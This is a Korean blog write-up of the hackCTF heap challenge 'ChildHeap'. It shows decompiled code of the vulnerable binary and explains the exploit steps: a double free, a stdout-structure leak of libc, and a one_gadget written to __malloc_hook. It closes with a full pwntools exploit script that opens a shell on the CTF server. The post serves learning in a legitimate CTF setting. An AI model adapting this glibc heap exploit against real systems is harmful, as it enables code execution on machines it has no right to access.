Pwnable/hackCTF

ChildHeap (double free, stdout leak)

stdout을 이용하여 leak이 필요한 문제이다.

Writeup


File information


Code

Main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]
  
  Init(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = input_number();
      if ( v3 != 1 )
        break;
      Malloc();
    }   
    if ( v3 != 2 )
      exit(0);
    Free();
  }
}
  • Main함수는 다음과 같은 역할을 한다.
    • menu 함수 호출
    • input_number로 입력을 받아 입력에 따라 다음 함수를 호출한다.
      • 1 : Malloc 함수 호출
      • 2 : Free 함수 호출

 

menu

int menu(){
  puts("1. malloc");
  puts("2. free");
  return printf("> ");
}

 

Malloc

unsigned __int64 Malloc()
{
  int v0; // ebx
  int v2; // [rsp+0h] [rbp-20h]
  int v3; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]
​
  v4 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &v2);
  if ( v2 < 0 || v2 > 4 )
    exit(1);
  printf("size: ");
  __isoc99_scanf("%d", &v3);
  if ( v3 < 0 || v3 > 128 )
    exit(1);
  v0 = v2;
  ptr[v0] = malloc(v3);
  if ( !ptr[v2] )
    exit(1);
  printf("content: ");
  read(0, ptr[v2], v3);
  return __readfsqword(0x28u) ^ v4;
}
  • Malloc함수는 다음과 같은 역할을 한다.
    • 먼저 index를 입력받는다.
      • index는 0~4까지 입력할 수 있다.
    • size를 입력받는다.
      • size는 128 이상을 할당 못하게 한다.
    • 입력받은 size만큼 동적 할당을 하여 ptr[index]에 저장한다.
    • read함수로 입력받은 size만큼 입력한다.

 

Free

unsigned __int64 Free()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
​
  v2 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 4 )
    exit(1);
  free(ptr[v1]);
  return __readfsqword(0x28u) ^ v2;
}
  • Free함수는 다음과 같은 역할을 한다.
    • index를 입력받는다.
      • index는 0~4까지 입력할 수 있다.
    • 입력받은 index에 저장된 동적할당을 free 한다.

Exploit

stdout을 이용하여 leak을 해야하는데, 그러기 위해서는 stdout을 마음대로 덮어쓸 수 있어야 한다.

sdout 할당하는 방법은 main_arena 주소 하위 2바이트를 바꿔 주면 된다. (이중 1.5바이트는 고정이지만 0.5는 brute force로 때려 맞혀야 한다.)

할당을 할 때 size check를 맞춰주기 위해 -0x43에 위치한 부분을 이용하면 된다.

stdout 주소는 다음과 같이 구할 수 있다.

할당 후 다음과 같이 만들어준다.

flag 부분에 0xfbad1800을 넣어준 후 (_IO_read_ptr, _IO_read_end, _IO_read_base)부분을 0으로 채워준 후 _IO_write_base의 하위 1바이트를 0으로 바꿔준다.

 

Exploit scenario

  • smallbin 크기를 해제하여 fd에 main_arena 주소를 넣어준다.
  • 다시 할당 시 하위 2바이트를 바꿔준 후 dubble free를 이용하여 stdout-0x43 위치한 부분에 할당을 해준다.
  • flag를 설정해주고 _IO_write_base 하위 1바이트를 0으로 바꿔준다.
  • leak으로 libc_base를 구하여 one_gadget을 주소를 구한 후 malloc_hook에 넣어준다.
  • free를 두 번 호출한다. -> double free로 인해 malloc을 호출할 수 있다.

 

Exploit code

from pwn import *
​
# context.log_level = 'debug'
p=remote("ctf.j0n9hyun.xyz", 3033)
​
def malloc(index,size,text):
    p.sendlineafter('>','1')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",text)
def free(index):
    p.sendlineafter('>','2')
    p.sendlineafter("index:",str(index))
​
IO_stdout = 0x3c5600  #0x3c5620
malloc(0,0x60,"A")
malloc(1,0x60,"B")
malloc(2,0x60,"B")
​
free(0)
malloc(0,128,"C")
free(0)
malloc(0,0x60,p16(0x5620-0x43))
#'A' * 0x33 + p64(0xfbad1800) + "\x00" * 25
​
free(1)
free(2)
free(1)
​
malloc(1,0x60,'\x00')
malloc(2,0x60,'\x00')
malloc(1,0x60,'\x00')
#0x7fa19ecc48e0
malloc(0,0x60,'D')
le = 'A'*0x33
le += p64(0xfbad1800)
le += "\x00"*25
malloc(4,0x60,le)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak - IO_stdout
one_gadget_offset = 0xf02a4
one_gadget = libc_base + one_gadget_offset
malloc_hook_off = 0x3c4b10
malloc_hook = libc_base + malloc_hook_off
print hex(leak)
​
free(1)
free(2)
free(1)
​
malloc(1,0x60,p64(malloc_hook-0x23))
malloc(2,0x60,'\x00')
malloc(1,0x60,'\x00')
​
ex = 'A'*19
ex += p64(one_gadget)
malloc(1,0x60,ex)
​
free(0)
free(0)
p.interactive()

 

Reference

'Pwnable > hackCTF' 카테고리의 다른 글

Adult_FSB (64bit fsb, exit)  (0) 2020.03.26
ChildFSB (64bit fsb)  (0) 2020.03.24
babyfsb (64bit fsb)  (0) 2020.03.23
you_are_silver (64bit fsb)  (0) 2020.03.21
훈폰정음  (0) 2020.03.10